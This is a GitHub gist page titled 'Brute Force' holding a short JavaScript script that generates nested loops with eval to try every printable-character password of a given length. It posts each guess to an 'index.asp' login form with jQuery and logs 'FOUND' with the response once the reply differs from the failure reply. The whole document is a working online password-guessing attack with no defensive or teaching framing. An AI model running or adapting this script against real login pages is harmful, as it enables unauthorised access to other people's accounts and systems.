Created
December 2, 2011 23:29
-
-
Save kopiro/1425330 to your computer and use it in GitHub Desktop.
Brute Force
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function genfors(n) | |
{ | |
var r = ""; | |
for (var i=97; i<97+n; i++) | |
{ | |
var x = String.fromCharCode(i); | |
r += "for(var "+x+"=32;"+x+"<127;"+x+"++)\n"; | |
} | |
r += "foo("; | |
for (var i=97; i<97+n; i++) | |
{ | |
var x = String.fromCharCode(i); | |
r += "String.fromCharCode("+x+")"; | |
if (i<97+n-1) r += "+"; | |
} | |
r += ");" | |
return r; | |
} | |
var fail_response; | |
var win_response; | |
function foo(pwd) | |
{ | |
setTimeout(function(){ | |
$.post("index.asp", { enter : pwd, submitted : "SUBMITTED" }, function (response) | |
{ | |
if (!fail_response) | |
{ | |
fail_response = response; | |
return; | |
} | |
if (fail_response == response) | |
{ | |
console.log(pwd); | |
} | |
else | |
{ | |
console.log("FOUND: "+pwd); | |
win_response = response; | |
console.log(win_response); | |
stop(); | |
return; | |
} | |
}); | |
}, 1); | |
} | |
var script = genfors(2); | |
eval(script); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment